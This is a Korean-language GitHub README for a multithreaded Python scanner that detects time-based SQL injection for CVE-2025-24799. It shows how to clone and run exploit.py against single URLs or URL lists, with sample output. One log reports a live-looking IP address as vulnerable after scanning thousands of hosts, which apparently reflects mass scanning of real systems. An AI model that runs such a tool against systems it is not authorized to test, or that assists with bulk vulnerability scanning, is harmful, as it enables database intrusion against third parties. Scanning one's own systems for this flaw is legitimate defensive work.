muhammadwaseem29/cve-2025-24799CVE-2025-24799 SQLi 스캐너
Python으로 작성된 빠른 SQL 인젝션 취약점 스캐너입니다. 시간 기반 SQLi 탐지를 사용하며 멀티스레딩과 컬러풀한 출력을 지원하며, CVE-2025-24799 취약점 테스트용으로 설계되었습니다.
저장소 복제:
git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
cd CVE-2025-24799
필요한 패키지 설치:
pip install requests colorama
Python 3로 실행:
python3 exploit.py -u http://example.com
출력:
[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s
python3 exploit.py -f urls.txt -t 15
출력:
Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s
python3 exploit.py -f urls.txt -o results.txt -t 10
출력:
Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt
curl로 검증
-u <URL>: 스캔할 단일 URL-f <FILE>: URL이 포함된 파일 (한 줄에 하나)-o <FILE>: 결과를 파일에 저장-t <NUM>: 스레드 수 (기본값: 10)╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner ║
║ Coded by: Noob-Wasi ║
║ Version: 1.0 ║
╚════════════════════════════╝
Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)
Scan completed!
-t) 조정저자: Noob-Wasi
GitHub: github.com/MuhammadWaseem29